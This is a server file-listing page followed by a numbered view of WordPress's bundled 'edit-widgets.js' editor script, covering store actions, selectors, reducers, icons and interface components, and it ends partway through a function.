run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.24 KB
2025-12-03 06:22:56
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.18 KB
2025-12-03 06:22:56
R W Run
22.91 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
23.02 KB
2025-12-03 06:22:56
R W Run
12.74 KB
2025-12-03 06:22:56
R W Run
17.03 KB
2025-12-03 06:22:56
R W Run
12.56 KB
2024-01-31 12:59:56
R W Run
7.34 KB
2025-12-03 06:22:56
R W Run
7.15 KB
2025-12-03 06:22:56
R W Run
10.17 KB
2025-12-03 06:22:56
R W Run
8.16 KB
2024-01-31 12:59:56
R W Run
77.3 KB
2025-12-03 06:22:56
R W Run
27.26 KB
2025-12-03 06:22:56
R W Run
2.23 MB
2026-02-04 01:01:35
R W Run
878.41 KB
2026-02-04 01:01:35
R W Run
2.2 MB
2026-02-04 01:01:35
R W Run
967.08 KB
2026-02-04 01:01:35
R W Run
13.89 KB
2025-12-03 06:22:56
R W Run
9.42 KB
2024-01-31 12:59:56
R W Run
434.6 KB
2026-02-04 01:01:35
R W Run
179.81 KB
2026-02-04 01:01:35
R W Run
178.79 KB
2025-12-03 06:22:56
R W Run
55.84 KB
2025-12-03 06:22:56
R W Run
2.39 MB
2026-02-04 01:01:35
R W Run
793.68 KB
2026-02-04 01:01:35
R W Run
149.99 KB
2025-12-03 06:22:56
R W Run
42.85 KB
2025-12-03 06:22:56
R W Run
32.74 KB
2025-12-03 06:22:56
R W Run
17.47 KB
2025-12-03 06:22:56
R W Run
223.77 KB
2025-12-03 06:22:56
R W Run
75.81 KB
2025-12-03 06:22:56
R W Run
93.53 KB
2025-12-03 06:22:56
R W Run
41.3 KB
2025-12-03 06:22:56
R W Run
11.46 KB
2025-12-03 06:22:56
R W Run
8.52 KB
2024-01-31 12:59:56
R W Run
95.23 KB
2025-12-03 06:22:56
R W Run
31.93 KB
2025-12-03 06:22:56
R W Run
797.94 KB
2025-12-03 06:22:56
R W Run
772.41 KB
2025-12-03 06:22:56
R W Run
9.33 KB
2025-12-03 06:22:56
R W Run
7.75 KB
2024-01-31 12:59:56
R W Run
8.65 KB
2025-12-03 06:22:56
R W Run
7.52 KB
2024-01-31 12:59:56
R W Run
41.26 KB
2025-12-03 06:22:56
R W Run
19.38 KB
2025-12-03 06:22:56
R W Run
111.74 KB
2025-12-03 06:22:56
R W Run
49.77 KB
2025-12-03 06:22:56
R W Run
1.77 MB
2026-02-04 01:01:35
R W Run
707.33 KB
2026-02-04 01:01:35
R W Run
159.45 KB
2025-12-03 06:22:56
R W Run
64.69 KB
2025-12-03 06:22:56
R W Run
1.1 MB
2026-02-04 01:01:35
R W Run
416.87 KB
2026-02-04 01:01:35
R W Run
53.25 KB
2025-12-03 06:22:56
R W Run
18.91 KB
2025-12-03 06:22:56
R W Run
10.07 KB
2025-12-03 06:22:56
R W Run
8.05 KB
2024-01-31 12:59:56
R W Run
78.51 KB
2026-02-04 01:01:35
R W Run
33.84 KB
2026-02-04 01:01:35
R W Run
22.72 KB
2025-12-03 06:22:56
R W Run
12.61 KB
2025-12-03 06:22:56
R W Run
9.37 KB
2025-12-03 06:22:56
R W Run
7.85 KB
2025-12-03 06:22:56
R W Run
31.42 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
10.36 KB
2025-12-03 06:22:56
R W Run
8.07 KB
2024-01-31 12:59:56
R W Run
16.3 KB
2025-12-03 06:22:56
R W Run
10.06 KB
2025-12-03 06:22:56
R W Run
14.97 KB
2025-12-03 06:22:56
R W Run
9.59 KB
2025-12-03 06:22:56
R W Run
451.81 KB
2025-12-03 06:22:56
R W Run
199.1 KB
2025-12-03 06:22:56
R W Run
37.03 KB
2025-12-03 06:22:56
R W Run
11.7 KB
2025-12-03 06:22:56
R W Run
30.42 KB
2025-12-03 06:22:56
R W Run
16.8 KB
2025-12-03 06:22:56
R W Run
12.92 KB
2025-12-03 06:22:56
R W Run
9.11 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.51 KB
2025-12-03 06:22:56
R W Run
67.39 KB
2025-12-03 06:22:56
R W Run
28.55 KB
2025-12-03 06:22:56
R W Run
20.73 KB
2025-12-03 06:22:56
R W Run
11.31 KB
2025-12-03 06:22:56
R W Run
23.9 KB
2025-12-03 06:22:56
R W Run
12.41 KB
2025-12-03 06:22:56
R W Run
27.34 KB
2025-12-03 06:22:56
R W Run
13.93 KB
2025-12-03 06:22:56
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
8.7 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.38 KB
2025-12-03 06:22:56
R W Run
12.42 KB
2025-12-03 06:22:56
R W Run
9.84 KB
2025-12-03 06:22:56
R W Run
28.3 KB
2025-12-03 06:22:56
R W Run
15.76 KB
2025-04-16 02:33:33
R W Run
25.52 KB
2025-12-03 06:22:56
R W Run
12.98 KB
2025-12-03 06:22:56
R W Run
90.6 KB
2025-12-03 06:22:56
R W Run
43.5 KB
2025-12-03 06:22:56
R W Run
59.35 KB
2025-12-03 06:22:56
R W Run
20.52 KB
2025-12-03 06:22:56
R W Run
16.76 KB
2025-12-03 06:22:56
R W Run
10.16 KB
2025-12-03 06:22:56
R W Run
16.91 KB
2025-12-03 06:22:56
R W Run
9.91 KB
2025-12-03 06:22:56
R W Run
42.2 KB
2025-12-03 06:22:56
R W Run
13 KB
2025-12-03 06:22:56
R W Run
12.94 KB
2025-12-03 06:22:56
R W Run
8.35 KB
2025-12-03 06:22:56
R W Run
27.33 KB
2025-12-03 06:22:56
R W Run
15.41 KB
2025-12-03 06:22:56
R W Run
13.37 KB
2025-12-03 06:22:56
R W Run
8.91 KB
2025-12-03 06:22:56
R W Run
14.88 KB
2025-12-03 06:22:56
R W Run
9.76 KB
2025-12-03 06:22:56
R W Run
8.68 KB
2025-12-03 06:22:56
R W Run
7.37 KB
2025-12-03 06:22:56
R W Run
54.69 KB
2025-12-03 06:22:56
R W Run
26.58 KB
2025-12-03 06:22:56
R W Run
20.33 KB
2025-12-03 06:22:56
R W Run
10.32 KB
2025-12-03 06:22:56
R W Run
error_log
📄edit-widgets.js
1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ // The require scope
4/******/ var __webpack_require__ = {};
5/******/
6/************************************************************************/
7/******/ /* webpack/runtime/compat get default export */
8/******/ (() => {
9/******/ // getDefaultExport function for compatibility with non-harmony modules
10/******/ __webpack_require__.n = (module) => {
11/******/ var getter = module && module.__esModule ?
12/******/ () => (module['default']) :
13/******/ () => (module);
14/******/ __webpack_require__.d(getter, { a: getter });
15/******/ return getter;
16/******/ };
17/******/ })();
18/******/
19/******/ /* webpack/runtime/define property getters */
20/******/ (() => {
21/******/ // define getter functions for harmony exports
22/******/ __webpack_require__.d = (exports, definition) => {
23/******/ for(var key in definition) {
24/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
25/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
26/******/ }
27/******/ }
28/******/ };
29/******/ })();
30/******/
31/******/ /* webpack/runtime/hasOwnProperty shorthand */
32/******/ (() => {
33/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
34/******/ })();
35/******/
36/******/ /* webpack/runtime/make namespace object */
37/******/ (() => {
38/******/ // define __esModule on exports
39/******/ __webpack_require__.r = (exports) => {
40/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
41/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
42/******/ }
43/******/ Object.defineProperty(exports, '__esModule', { value: true });
44/******/ };
45/******/ })();
46/******/
47/************************************************************************/
48var __webpack_exports__ = {};
49// ESM COMPAT FLAG
50__webpack_require__.r(__webpack_exports__);
51
52// EXPORTS
53__webpack_require__.d(__webpack_exports__, {
54 initialize: () => (/* binding */ initialize),
55 initializeEditor: () => (/* binding */ initializeEditor),
56 reinitializeEditor: () => (/* binding */ reinitializeEditor),
57 store: () => (/* reexport */ store_store)
58});
59
60// NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/store/actions.js
61var actions_namespaceObject = {};
62__webpack_require__.r(actions_namespaceObject);
63__webpack_require__.d(actions_namespaceObject, {
64 closeModal: () => (closeModal),
65 disableComplementaryArea: () => (disableComplementaryArea),
66 enableComplementaryArea: () => (enableComplementaryArea),
67 openModal: () => (openModal),
68 pinItem: () => (pinItem),
69 setDefaultComplementaryArea: () => (setDefaultComplementaryArea),
70 setFeatureDefaults: () => (setFeatureDefaults),
71 setFeatureValue: () => (setFeatureValue),
72 toggleFeature: () => (toggleFeature),
73 unpinItem: () => (unpinItem)
74});
75
76// NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/store/selectors.js
77var selectors_namespaceObject = {};
78__webpack_require__.r(selectors_namespaceObject);
79__webpack_require__.d(selectors_namespaceObject, {
80 getActiveComplementaryArea: () => (getActiveComplementaryArea),
81 isComplementaryAreaLoading: () => (isComplementaryAreaLoading),
82 isFeatureActive: () => (isFeatureActive),
83 isItemPinned: () => (isItemPinned),
84 isModalActive: () => (isModalActive)
85});
86
87// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/store/actions.js
88var store_actions_namespaceObject = {};
89__webpack_require__.r(store_actions_namespaceObject);
90__webpack_require__.d(store_actions_namespaceObject, {
91 closeGeneralSidebar: () => (closeGeneralSidebar),
92 lockWidgetSaving: () => (lockWidgetSaving),
93 moveBlockToWidgetArea: () => (moveBlockToWidgetArea),
94 persistStubPost: () => (persistStubPost),
95 saveEditedWidgetAreas: () => (saveEditedWidgetAreas),
96 saveWidgetArea: () => (saveWidgetArea),
97 saveWidgetAreas: () => (saveWidgetAreas),
98 setIsInserterOpened: () => (setIsInserterOpened),
99 setIsListViewOpened: () => (setIsListViewOpened),
100 setIsWidgetAreaOpen: () => (setIsWidgetAreaOpen),
101 setWidgetAreasOpenState: () => (setWidgetAreasOpenState),
102 setWidgetIdForClientId: () => (setWidgetIdForClientId),
103 unlockWidgetSaving: () => (unlockWidgetSaving)
104});
105
106// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/store/resolvers.js
107var resolvers_namespaceObject = {};
108__webpack_require__.r(resolvers_namespaceObject);
109__webpack_require__.d(resolvers_namespaceObject, {
110 getWidgetAreas: () => (getWidgetAreas),
111 getWidgets: () => (getWidgets)
112});
113
114// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/store/selectors.js
115var store_selectors_namespaceObject = {};
116__webpack_require__.r(store_selectors_namespaceObject);
117__webpack_require__.d(store_selectors_namespaceObject, {
118 __experimentalGetInsertionPoint: () => (__experimentalGetInsertionPoint),
119 canInsertBlockInWidgetArea: () => (canInsertBlockInWidgetArea),
120 getEditedWidgetAreas: () => (getEditedWidgetAreas),
121 getIsWidgetAreaOpen: () => (getIsWidgetAreaOpen),
122 getParentWidgetAreaBlock: () => (getParentWidgetAreaBlock),
123 getReferenceWidgetBlocks: () => (getReferenceWidgetBlocks),
124 getWidget: () => (getWidget),
125 getWidgetAreaForWidgetId: () => (getWidgetAreaForWidgetId),
126 getWidgetAreas: () => (selectors_getWidgetAreas),
127 getWidgets: () => (selectors_getWidgets),
128 isInserterOpened: () => (isInserterOpened),
129 isListViewOpened: () => (isListViewOpened),
130 isSavingWidgetAreas: () => (isSavingWidgetAreas),
131 isWidgetSavingLocked: () => (isWidgetSavingLocked)
132});
133
134// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/store/private-selectors.js
135var private_selectors_namespaceObject = {};
136__webpack_require__.r(private_selectors_namespaceObject);
137__webpack_require__.d(private_selectors_namespaceObject, {
138 getInserterSidebarToggleRef: () => (getInserterSidebarToggleRef),
139 getListViewToggleRef: () => (getListViewToggleRef)
140});
141
142// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/index.js
143var widget_area_namespaceObject = {};
144__webpack_require__.r(widget_area_namespaceObject);
145__webpack_require__.d(widget_area_namespaceObject, {
146 metadata: () => (block_namespaceObject),
147 name: () => (widget_area_name),
148 settings: () => (settings)
149});
150
151;// external "ReactJSXRuntime"
152const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
153;// external ["wp","blocks"]
154const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
155;// external ["wp","data"]
156const external_wp_data_namespaceObject = window["wp"]["data"];
157;// external ["wp","deprecated"]
158const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
159var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
160;// external ["wp","element"]
161const external_wp_element_namespaceObject = window["wp"]["element"];
162;// external ["wp","blockLibrary"]
163const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"];
164;// external ["wp","coreData"]
165const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
166;// external ["wp","widgets"]
167const external_wp_widgets_namespaceObject = window["wp"]["widgets"];
168;// external ["wp","preferences"]
169const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
170;// external ["wp","apiFetch"]
171const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
172var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
173;// ./node_modules/@wordpress/edit-widgets/build-module/store/reducer.js
174
175function widgetAreasOpenState(state = {}, action) {
176 const { type } = action;
177 switch (type) {
178 case "SET_WIDGET_AREAS_OPEN_STATE": {
179 return action.widgetAreasOpenState;
180 }
181 case "SET_IS_WIDGET_AREA_OPEN": {
182 const { clientId, isOpen } = action;
183 return {
184 ...state,
185 [clientId]: isOpen
186 };
187 }
188 default: {
189 return state;
190 }
191 }
192}
193function blockInserterPanel(state = false, action) {
194 switch (action.type) {
195 case "SET_IS_LIST_VIEW_OPENED":
196 return action.isOpen ? false : state;
197 case "SET_IS_INSERTER_OPENED":
198 return action.value;
199 }
200 return state;
201}
202function listViewPanel(state = false, action) {
203 switch (action.type) {
204 case "SET_IS_INSERTER_OPENED":
205 return action.value ? false : state;
206 case "SET_IS_LIST_VIEW_OPENED":
207 return action.isOpen;
208 }
209 return state;
210}
211function listViewToggleRef(state = { current: null }) {
212 return state;
213}
214function inserterSidebarToggleRef(state = { current: null }) {
215 return state;
216}
217function widgetSavingLock(state = {}, action) {
218 switch (action.type) {
219 case "LOCK_WIDGET_SAVING":
220 return { ...state, [action.lockName]: true };
221 case "UNLOCK_WIDGET_SAVING": {
222 const { [action.lockName]: removedLockName, ...restState } = state;
223 return restState;
224 }
225 }
226 return state;
227}
228var reducer_default = (0,external_wp_data_namespaceObject.combineReducers)({
229 blockInserterPanel,
230 inserterSidebarToggleRef,
231 listViewPanel,
232 listViewToggleRef,
233 widgetAreasOpenState,
234 widgetSavingLock
235});
236
237
238;// external ["wp","i18n"]
239const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
240;// external ["wp","notices"]
241const external_wp_notices_namespaceObject = window["wp"]["notices"];
242;// ./node_modules/clsx/dist/clsx.mjs
243function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
244;// external ["wp","components"]
245const external_wp_components_namespaceObject = window["wp"]["components"];
246;// external ["wp","primitives"]
247const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
248;// ./node_modules/@wordpress/icons/build-module/library/check.js
249
250
251var check_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z" }) });
252
253
254;// ./node_modules/@wordpress/icons/build-module/library/star-filled.js
255
256
257var star_filled_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z" }) });
258
259
260;// ./node_modules/@wordpress/icons/build-module/library/star-empty.js
261
262
263var star_empty_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
264 external_wp_primitives_namespaceObject.Path,
265 {
266 fillRule: "evenodd",
267 d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",
268 clipRule: "evenodd"
269 }
270) });
271
272
273;// external ["wp","viewport"]
274const external_wp_viewport_namespaceObject = window["wp"]["viewport"];
275;// external ["wp","compose"]
276const external_wp_compose_namespaceObject = window["wp"]["compose"];
277;// external ["wp","plugins"]
278const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
279;// ./node_modules/@wordpress/icons/build-module/library/close-small.js
280
281
282var close_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
283
284
285;// ./node_modules/@wordpress/interface/build-module/store/deprecated.js
286
287function normalizeComplementaryAreaScope(scope) {
288 if (["core/edit-post", "core/edit-site"].includes(scope)) {
289 external_wp_deprecated_default()(`${scope} interface scope`, {
290 alternative: "core interface scope",
291 hint: "core/edit-post and core/edit-site are merging.",
292 version: "6.6"
293 });
294 return "core";
295 }
296 return scope;
297}
298function normalizeComplementaryAreaName(scope, name) {
299 if (scope === "core" && name === "edit-site/template") {
300 external_wp_deprecated_default()(`edit-site/template sidebar`, {
301 alternative: "edit-post/document",
302 version: "6.6"
303 });
304 return "edit-post/document";
305 }
306 if (scope === "core" && name === "edit-site/block-inspector") {
307 external_wp_deprecated_default()(`edit-site/block-inspector sidebar`, {
308 alternative: "edit-post/block",
309 version: "6.6"
310 });
311 return "edit-post/block";
312 }
313 return name;
314}
315
316
317;// ./node_modules/@wordpress/interface/build-module/store/actions.js
318
319
320
321const setDefaultComplementaryArea = (scope, area) => {
322 scope = normalizeComplementaryAreaScope(scope);
323 area = normalizeComplementaryAreaName(scope, area);
324 return {
325 type: "SET_DEFAULT_COMPLEMENTARY_AREA",
326 scope,
327 area
328 };
329};
330const enableComplementaryArea = (scope, area) => ({ registry, dispatch }) => {
331 if (!area) {
332 return;
333 }
334 scope = normalizeComplementaryAreaScope(scope);
335 area = normalizeComplementaryAreaName(scope, area);
336 const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, "isComplementaryAreaVisible");
337 if (!isComplementaryAreaVisible) {
338 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, "isComplementaryAreaVisible", true);
339 }
340 dispatch({
341 type: "ENABLE_COMPLEMENTARY_AREA",
342 scope,
343 area
344 });
345};
346const disableComplementaryArea = (scope) => ({ registry }) => {
347 scope = normalizeComplementaryAreaScope(scope);
348 const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, "isComplementaryAreaVisible");
349 if (isComplementaryAreaVisible) {
350 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, "isComplementaryAreaVisible", false);
351 }
352};
353const pinItem = (scope, item) => ({ registry }) => {
354 if (!item) {
355 return;
356 }
357 scope = normalizeComplementaryAreaScope(scope);
358 item = normalizeComplementaryAreaName(scope, item);
359 const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, "pinnedItems");
360 if (pinnedItems?.[item] === true) {
361 return;
362 }
363 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, "pinnedItems", {
364 ...pinnedItems,
365 [item]: true
366 });
367};
368const unpinItem = (scope, item) => ({ registry }) => {
369 if (!item) {
370 return;
371 }
372 scope = normalizeComplementaryAreaScope(scope);
373 item = normalizeComplementaryAreaName(scope, item);
374 const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, "pinnedItems");
375 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, "pinnedItems", {
376 ...pinnedItems,
377 [item]: false
378 });
379};
380function toggleFeature(scope, featureName) {
381 return function({ registry }) {
382 external_wp_deprecated_default()(`dispatch( 'core/interface' ).toggleFeature`, {
383 since: "6.0",
384 alternative: `dispatch( 'core/preferences' ).toggle`
385 });
386 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle(scope, featureName);
387 };
388}
389function setFeatureValue(scope, featureName, value) {
390 return function({ registry }) {
391 external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureValue`, {
392 since: "6.0",
393 alternative: `dispatch( 'core/preferences' ).set`
394 });
395 registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, featureName, !!value);
396 };
397}
398function setFeatureDefaults(scope, defaults) {
399 return function({ registry }) {
400 external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureDefaults`, {
401 since: "6.0",
402 alternative: `dispatch( 'core/preferences' ).setDefaults`
403 });
404 registry.dispatch(external_wp_preferences_namespaceObject.store).setDefaults(scope, defaults);
405 };
406}
407function openModal(name) {
408 return {
409 type: "OPEN_MODAL",
410 name
411 };
412}
413function closeModal() {
414 return {
415 type: "CLOSE_MODAL"
416 };
417}
418
419
420;// ./node_modules/@wordpress/interface/build-module/store/selectors.js
421
422
423
424
425const getActiveComplementaryArea = (0,external_wp_data_namespaceObject.createRegistrySelector)(
426 (select) => (state, scope) => {
427 scope = normalizeComplementaryAreaScope(scope);
428 const isComplementaryAreaVisible = select(external_wp_preferences_namespaceObject.store).get(
429 scope,
430 "isComplementaryAreaVisible"
431 );
432 if (isComplementaryAreaVisible === void 0) {
433 return void 0;
434 }
435 if (isComplementaryAreaVisible === false) {
436 return null;
437 }
438 return state?.complementaryAreas?.[scope];
439 }
440);
441const isComplementaryAreaLoading = (0,external_wp_data_namespaceObject.createRegistrySelector)(
442 (select) => (state, scope) => {
443 scope = normalizeComplementaryAreaScope(scope);
444 const isVisible = select(external_wp_preferences_namespaceObject.store).get(
445 scope,
446 "isComplementaryAreaVisible"
447 );
448 const identifier = state?.complementaryAreas?.[scope];
449 return isVisible && identifier === void 0;
450 }
451);
452const isItemPinned = (0,external_wp_data_namespaceObject.createRegistrySelector)(
453 (select) => (state, scope, item) => {
454 scope = normalizeComplementaryAreaScope(scope);
455 item = normalizeComplementaryAreaName(scope, item);
456 const pinnedItems = select(external_wp_preferences_namespaceObject.store).get(
457 scope,
458 "pinnedItems"
459 );
460 return pinnedItems?.[item] ?? true;
461 }
462);
463const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(
464 (select) => (state, scope, featureName) => {
465 external_wp_deprecated_default()(
466 `select( 'core/interface' ).isFeatureActive( scope, featureName )`,
467 {
468 since: "6.0",
469 alternative: `select( 'core/preferences' ).get( scope, featureName )`
470 }
471 );
472 return !!select(external_wp_preferences_namespaceObject.store).get(scope, featureName);
473 }
474);
475function isModalActive(state, modalName) {
476 return state.activeModal === modalName;
477}
478
479
480;// ./node_modules/@wordpress/interface/build-module/store/reducer.js
481
482function complementaryAreas(state = {}, action) {
483 switch (action.type) {
484 case "SET_DEFAULT_COMPLEMENTARY_AREA": {
485 const { scope, area } = action;
486 if (state[scope]) {
487 return state;
488 }
489 return {
490 ...state,
491 [scope]: area
492 };
493 }
494 case "ENABLE_COMPLEMENTARY_AREA": {
495 const { scope, area } = action;
496 return {
497 ...state,
498 [scope]: area
499 };
500 }
501 }
502 return state;
503}
504function activeModal(state = null, action) {
505 switch (action.type) {
506 case "OPEN_MODAL":
507 return action.name;
508 case "CLOSE_MODAL":
509 return null;
510 }
511 return state;
512}
513var reducer_reducer_default = (0,external_wp_data_namespaceObject.combineReducers)({
514 complementaryAreas,
515 activeModal
516});
517
518
519;// ./node_modules/@wordpress/interface/build-module/store/constants.js
520const STORE_NAME = "core/interface";
521
522
523;// ./node_modules/@wordpress/interface/build-module/store/index.js
524
525
526
527
528
529const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
530 reducer: reducer_reducer_default,
531 actions: actions_namespaceObject,
532 selectors: selectors_namespaceObject
533});
534(0,external_wp_data_namespaceObject.register)(store);
535
536
537;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-toggle/index.js
538
539
540
541
542
543function roleSupportsCheckedState(role) {
544 return [
545 "checkbox",
546 "option",
547 "radio",
548 "switch",
549 "menuitemcheckbox",
550 "menuitemradio",
551 "treeitem"
552 ].includes(role);
553}
554function ComplementaryAreaToggle({
555 as = external_wp_components_namespaceObject.Button,
556 scope,
557 identifier: identifierProp,
558 icon: iconProp,
559 selectedIcon,
560 name,
561 shortcut,
562 ...props
563}) {
564 const ComponentToUse = as;
565 const context = (0,external_wp_plugins_namespaceObject.usePluginContext)();
566 const icon = iconProp || context.icon;
567 const identifier = identifierProp || `${context.name}/${name}`;
568 const isSelected = (0,external_wp_data_namespaceObject.useSelect)(
569 (select) => select(store).getActiveComplementaryArea(scope) === identifier,
570 [identifier, scope]
571 );
572 const { enableComplementaryArea, disableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
573 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
574 ComponentToUse,
575 {
576 icon: selectedIcon && isSelected ? selectedIcon : icon,
577 "aria-controls": identifier.replace("/", ":"),
578 "aria-checked": roleSupportsCheckedState(props.role) ? isSelected : void 0,
579 onClick: () => {
580 if (isSelected) {
581 disableComplementaryArea(scope);
582 } else {
583 enableComplementaryArea(scope, identifier);
584 }
585 },
586 shortcut,
587 ...props
588 }
589 );
590}
591
592
593;// ./node_modules/@wordpress/interface/build-module/components/complementary-area-header/index.js
594
595
596
597
598const ComplementaryAreaHeader = ({
599 children,
600 className,
601 toggleButtonProps
602}) => {
603 const toggleButton = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComplementaryAreaToggle, { icon: close_small_default, ...toggleButtonProps });
604 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
605 "div",
606 {
607 className: dist_clsx(
608 "components-panel__header",
609 "interface-complementary-area-header",
610 className
611 ),
612 tabIndex: -1,
613 children: [
614 children,
615 toggleButton
616 ]
617 }
618 );
619};
620var complementary_area_header_default = ComplementaryAreaHeader;
621
622
623;// ./node_modules/@wordpress/interface/build-module/components/action-item/index.js
624
625
626
627const noop = () => {
628};
629function ActionItemSlot({
630 name,
631 as: Component = external_wp_components_namespaceObject.MenuGroup,
632 fillProps = {},
633 bubblesVirtually,
634 ...props
635}) {
636 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
637 external_wp_components_namespaceObject.Slot,
638 {
639 name,
640 bubblesVirtually,
641 fillProps,
642 children: (fills) => {
643 if (!external_wp_element_namespaceObject.Children.toArray(fills).length) {
644 return null;
645 }
646 const initializedByPlugins = [];
647 external_wp_element_namespaceObject.Children.forEach(
648 fills,
649 ({
650 props: { __unstableExplicitMenuItem, __unstableTarget }
651 }) => {
652 if (__unstableTarget && __unstableExplicitMenuItem) {
653 initializedByPlugins.push(__unstableTarget);
654 }
655 }
656 );
